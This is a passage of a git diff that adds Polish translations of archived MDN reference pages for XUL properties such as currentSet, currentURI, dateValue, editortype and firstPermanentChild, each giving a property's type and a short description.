+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/currentPane">currentPane</a></span></code>
+</dt><dd> Typ: <i>element <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code></i>
+</dd><dd> Odniesienie do aktualnie wyświetlanego okna. Aby zmienić bieżące okno zastosuj metodę <span id="m-showPane"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/showPane">showPane</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/currentset/index.html b/files/pl/mozilla/tech/xul/własność/currentset/index.html
new file mode 100644
index 0000000000..65a3ec83b6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/currentset/index.html
@@ -0,0 +1,28 @@
+---
+title: currentSet
+slug: Mozilla/Tech/XUL/Własność/currentSet
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/currentSet
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/currentSet">currentSet</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko w Firefoksie</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ lista łańcuchów znaków oddzielona przecinkami</i>
+ </dd>
+ <dd>
+ Trzyma aktualną listę ID pozycji oddzielonych przecinkiem na pasku narzędzi. Dla pustych przestrzeni, separatorów i elastycznych pustych przestrzeni stosowane są zamiast nich łańcuchy znaków będące unikalnymi identyfikatorami ID: "<code>spacer</code>", "<code>separator</code>", "<code>spring</code>". Pusty pasek narzędzi posiada wartość <code>currentSet</code> jaką jest <code>"__empty"</code>.</dd>
+</dl>
+<dl>
+ <dd>
+ Możemy zmienić aktualne ustawienia pozycji przez ustawienie własności. Bądź ostrożny, jak ustawiasz tą własność to automatycznie nie jest aktualizowany atrybut <code id="a-currentset"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/currentset">currentset</a></code>.</dd>
+</dl>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/mozilla/tech/xul/własność/currenturi/index.html b/files/pl/mozilla/tech/xul/własność/currenturi/index.html
new file mode 100644
index 0000000000..72453ca0fd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/currenturi/index.html
@@ -0,0 +1,16 @@
+---
+title: currentURI
+slug: Mozilla/Tech/XUL/Własność/currentURI
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/currentURI
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/currentURI">currentURI</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIURI">nsIURI</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca aktualnie wczytany adres URL. Aby zmienić adres URL, należy zastosować metodę <span id="m-loadURI"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/loadURI">loadURI</a></code></span>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/customtoolbarcount/index.html b/files/pl/mozilla/tech/xul/własność/customtoolbarcount/index.html
new file mode 100644
index 0000000000..01486d5bfd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/customtoolbarcount/index.html
@@ -0,0 +1,22 @@
+---
+title: customToolbarCount
+slug: Mozilla/Tech/XUL/Własność/customToolbarCount
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/customToolbarCount
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/customToolbarCount">customToolbarCount</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba pasków narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>) użytkownika aktualnie znajdująca się wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/date/index.html b/files/pl/mozilla/tech/xul/własność/date/index.html
new file mode 100644
index 0000000000..67daa827bd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/date/index.html
@@ -0,0 +1,17 @@
+---
+title: date
+slug: Mozilla/Tech/XUL/Własność/date
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/date
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/date">date</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczona data dnia miesiąca od 1 do 31. Ustaw tą własność do zmiany zaznaczonej daty.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/dateleadingzero/index.html b/files/pl/mozilla/tech/xul/własność/dateleadingzero/index.html
new file mode 100644
index 0000000000..cb90fb8130
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/dateleadingzero/index.html
@@ -0,0 +1,17 @@
+---
+title: dateLeadingZero
+slug: Mozilla/Tech/XUL/Własność/dateLeadingZero
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/dateLeadingZero
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dateLeadingZero">dateLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed datą zanim jest ona mniejsza niż 10.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/datevalue/index.html b/files/pl/mozilla/tech/xul/własność/datevalue/index.html
new file mode 100644
index 0000000000..ae3e276431
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/datevalue/index.html
@@ -0,0 +1,17 @@
+---
+title: dateValue
+slug: Mozilla/Tech/XUL/Własność/dateValue
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/dateValue
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dateValue">dateValue</a></span></code></dt>
+ <dd>
+ Typ: <i>Date</i></dd>
+ <dd>
+ Data, która jest aktualnie wprowadzana lub zaznaczona w datepicker jako obiekt Date.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/decimalplaces/index.html b/files/pl/mozilla/tech/xul/własność/decimalplaces/index.html
new file mode 100644
index 0000000000..c02a1212d0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/decimalplaces/index.html
@@ -0,0 +1,16 @@
+---
+title: decimalPlaces
+slug: Mozilla/Tech/XUL/Własność/decimalPlaces
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/decimalPlaces
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/decimalPlaces">decimalPlaces</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>decimalplaces</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/deck.selectedpanel/index.html b/files/pl/mozilla/tech/xul/własność/deck.selectedpanel/index.html
new file mode 100644
index 0000000000..76c904c387
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/deck.selectedpanel/index.html
@@ -0,0 +1,16 @@
+---
+title: deck.selectedPanel
+slug: Mozilla/Tech/XUL/Własność/deck.selectedPanel
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/deck.selectedPanel
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/deck.selectedPanel">selectedPanel</a>
+</dt><dd> Typ: <i>element</i>
+</dd><dd> Przechowuje referencję do aktualnie zaznaczonego panelu wewnątrz elementu <code>&lt;deck&gt;</code>. Przypisanie wartości do tej własności zmienia zaznaczony panel.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/defaultbutton/index.html b/files/pl/mozilla/tech/xul/własność/defaultbutton/index.html
new file mode 100644
index 0000000000..250acdedc5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/defaultbutton/index.html
@@ -0,0 +1,20 @@
+---
+title: defaultButton
+slug: Mozilla/Tech/XUL/Własność/defaultButton
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/defaultButton
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/defaultButton">defaultButton</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Zwykle nie powinno się ustawiać tej własności. Określa ona domyślny przycisk w oknie dialogowym. Zazwyczaj oznacza to, że przycisk zostanie aktywowany po naciśnięciu klawisza Enter. Własności tej powinna być przypisana jedna z wartości używanych przez atrybut <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/defaultvalue/index.html b/files/pl/mozilla/tech/xul/własność/defaultvalue/index.html
new file mode 100644
index 0000000000..3d6cddbc4e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/defaultvalue/index.html
@@ -0,0 +1,16 @@
+---
+title: defaultValue
+slug: Mozilla/Tech/XUL/Własność/defaultValue
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/defaultValue
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/defaultValue">defaultValue</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Pobiera i ustawia domyślną wartość pola tekstowego. </dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/description/index.html b/files/pl/mozilla/tech/xul/własność/description/index.html
new file mode 100644
index 0000000000..7800567b01
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/description/index.html
@@ -0,0 +1,20 @@
+---
+title: description
+slug: Mozilla/Tech/XUL/Własność/description
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/description
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/description">description</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Ustawia opis aktualnie zaznaczonej pozycji <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/dir/index.html b/files/pl/mozilla/tech/xul/własność/dir/index.html
new file mode 100644
index 0000000000..05295f2bea
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/dir/index.html
@@ -0,0 +1,20 @@
+---
+title: dir
+slug: Mozilla/Tech/XUL/Własność/dir
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/dir
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/disableautocomplete/index.html b/files/pl/mozilla/tech/xul/własność/disableautocomplete/index.html
new file mode 100644
index 0000000000..ee610b9a35
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/disableautocomplete/index.html
@@ -0,0 +1,20 @@
+---
+title: disableAutoComplete
+slug: Mozilla/Tech/XUL/Własność/disableAutoComplete
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/disableAutocomplete
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/disableAutoComplete">disableAutoComplete</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disableautocomplete"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableautocomplete">disableautocomplete</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/disableautoselect/index.html b/files/pl/mozilla/tech/xul/własność/disableautoselect/index.html
new file mode 100644
index 0000000000..4c6af95b31
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/disableautoselect/index.html
@@ -0,0 +1,20 @@
+---
+title: disableautoselect
+slug: Mozilla/Tech/XUL/Własność/disableautoselect
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/disableautoselect
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/disableautoselect">disableautoselect</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disableautoselect"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableautoselect">disableautoselect</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/disabled/index.html b/files/pl/mozilla/tech/xul/własność/disabled/index.html
new file mode 100644
index 0000000000..5e3148bb87
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/disabled/index.html
@@ -0,0 +1,20 @@
+---
+title: disabled
+slug: Mozilla/Tech/XUL/Własność/disabled
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/disabled
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/disablekeynavigation/index.html b/files/pl/mozilla/tech/xul/własność/disablekeynavigation/index.html
new file mode 100644
index 0000000000..1f005f4c3b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/disablekeynavigation/index.html
@@ -0,0 +1,20 @@
+---
+title: disableKeyNavigation
+slug: Mozilla/Tech/XUL/Własność/disableKeyNavigation
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/disableKeyNavigation
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/disableKeyNavigation">disableKeyNavigation</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera lub ustawia wartość atrybutu <code id="a-disableKeyNavigation"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disableKeyNavigation">disableKeyNavigation</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/dlgtype/index.html b/files/pl/mozilla/tech/xul/własność/dlgtype/index.html
new file mode 100644
index 0000000000..8034e511e1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/dlgtype/index.html
@@ -0,0 +1,20 @@
+---
+title: dlgType
+slug: Mozilla/Tech/XUL/Własność/dlgType
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/dlgType
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dlgType">dlgType</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-dlgType"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dlgType">dlgType</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/docshell/index.html b/files/pl/mozilla/tech/xul/własność/docshell/index.html
new file mode 100644
index 0000000000..a86c099297
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/docshell/index.html
@@ -0,0 +1,14 @@
+---
+title: docShell
+slug: Mozilla/Tech/XUL/Własność/docShell
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/docShell
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/docShell">docShell</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIDocShell">nsIDocShell</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIDocShell">nsIDocShell</a> dla dokumentu.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/documentcharsetinfo/index.html b/files/pl/mozilla/tech/xul/własność/documentcharsetinfo/index.html
new file mode 100644
index 0000000000..33768adb73
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/documentcharsetinfo/index.html
@@ -0,0 +1,16 @@
+---
+title: documentCharsetInfo
+slug: Mozilla/Tech/XUL/Własność/documentCharsetInfo
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/documentCharsetInfo
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/documentCharsetInfo">documentCharsetInfo</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIDocumentCharsetInfo">nsIDocumentCharsetInfo</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIDocumentCharsetInfo">nsIDocumentCharsetInfo</a> dla dokumentu, stosowany do określenia, które kodowanie znaków powinno być zastosowane do wyświetlenia dokumentu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/editable/index.html b/files/pl/mozilla/tech/xul/własność/editable/index.html
new file mode 100644
index 0000000000..98823dc757
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/editable/index.html
@@ -0,0 +1,20 @@
+---
+title: editable
+slug: Mozilla/Tech/XUL/Własność/editable
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/editable
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/editable">editable</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pola automatycznie uzupełniane są edytowalne, więc ta własność zwróci <code>true</code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/editingsession/index.html b/files/pl/mozilla/tech/xul/własność/editingsession/index.html
new file mode 100644
index 0000000000..6b8c0e35be
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/editingsession/index.html
@@ -0,0 +1,16 @@
+---
+title: editingSession
+slug: Mozilla/Tech/XUL/Własność/editingSession
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/editingSession
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/editingSession">editingSession</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIEditingSession">nsIEditingSession</a></i>
+</dd><dd> Sesja edycji dla edytora, używana do zainicjowania edytora. Zazwyczaj korzystanie z tej własności nie jest konieczne.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/editor/index.html b/files/pl/mozilla/tech/xul/własność/editor/index.html
new file mode 100644
index 0000000000..07d7431f88
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/editor/index.html
@@ -0,0 +1,20 @@
+---
+title: editor
+slug: Mozilla/Tech/XUL/Własność/editor
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/editor
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/menulist.editor">editor</a></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIEditor">nsIEditor</a></i>
+ </dd>
+ <dd>
+ Odwołanie do <a href="pl/NsIEditor">nsIEditor</a> dla edytowanego tekstu. Własność tylko do odczytu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/editortype/index.html b/files/pl/mozilla/tech/xul/własność/editortype/index.html
new file mode 100644
index 0000000000..d085365eec
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/editortype/index.html
@@ -0,0 +1,19 @@
+---
+title: editortype
+slug: Mozilla/Tech/XUL/Własność/editortype
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/editortype
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/editortype">editortype</a></span></code>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ edytora do zastosowania. Ta wartość będzie przesłonięta w zależności od typu dokumentu załadowanego w edytorze.
+</dd></dl>
+<ul><li> <code>html</code>: Edytor HTML.
+</li><li> <code>text</code>: Edytor tekstowy.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/enablecolumndrag/index.html b/files/pl/mozilla/tech/xul/własność/enablecolumndrag/index.html
new file mode 100644
index 0000000000..74ea0c1c99
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/enablecolumndrag/index.html
@@ -0,0 +1,20 @@
+---
+title: enableColumnDrag
+slug: Mozilla/Tech/XUL/Własność/enableColumnDrag
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/enableColumnDrag
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/enableColumnDrag">enableColumnDrag</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Kiedy ustawimy na <code>true</code>, użytkownik przesunie nagłówki kolumny, aby zmienić kolejność w jakiej są one wyświetlane.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/firstordinalcolumn/index.html b/files/pl/mozilla/tech/xul/własność/firstordinalcolumn/index.html
new file mode 100644
index 0000000000..fbbf225b5d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/firstordinalcolumn/index.html
@@ -0,0 +1,20 @@
+---
+title: firstOrdinalColumn
+slug: Mozilla/Tech/XUL/Własność/firstOrdinalColumn
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/firstOrdinalColumn
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/firstOrdinalColumn">firstOrdinalColumn</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></i>
+ </dd>
+ <dd>
+ Referencja do elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code>, który nie musi być pierwszą kolumną wyświetlaną w drzewie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/firstpermanentchild/index.html b/files/pl/mozilla/tech/xul/własność/firstpermanentchild/index.html
new file mode 100644
index 0000000000..afe22dc51b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/firstpermanentchild/index.html
@@ -0,0 +1,22 @@
+---
+title: firstPermanentChild
+slug: Mozilla/Tech/XUL/Własność/firstPermanentChild
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/firstPermanentChild
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/firstPermanentChild">firstPermanentChild</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Pierwszy trwały element potomny paska narzędzi <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. Trwały potomek jest jedynym, który nie jest zdolny, aby się dostosować i zostać na pasku narzędzi. Pozycje, które są umieszczone bezpośrednio wewnątrz paska narzędzi bez bycia w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> są trwałe.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/flex/index.html b/files/pl/mozilla/tech/xul/własność/flex/index.html
new file mode 100644
index 0000000000..a0f190b980
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/flex/index.html
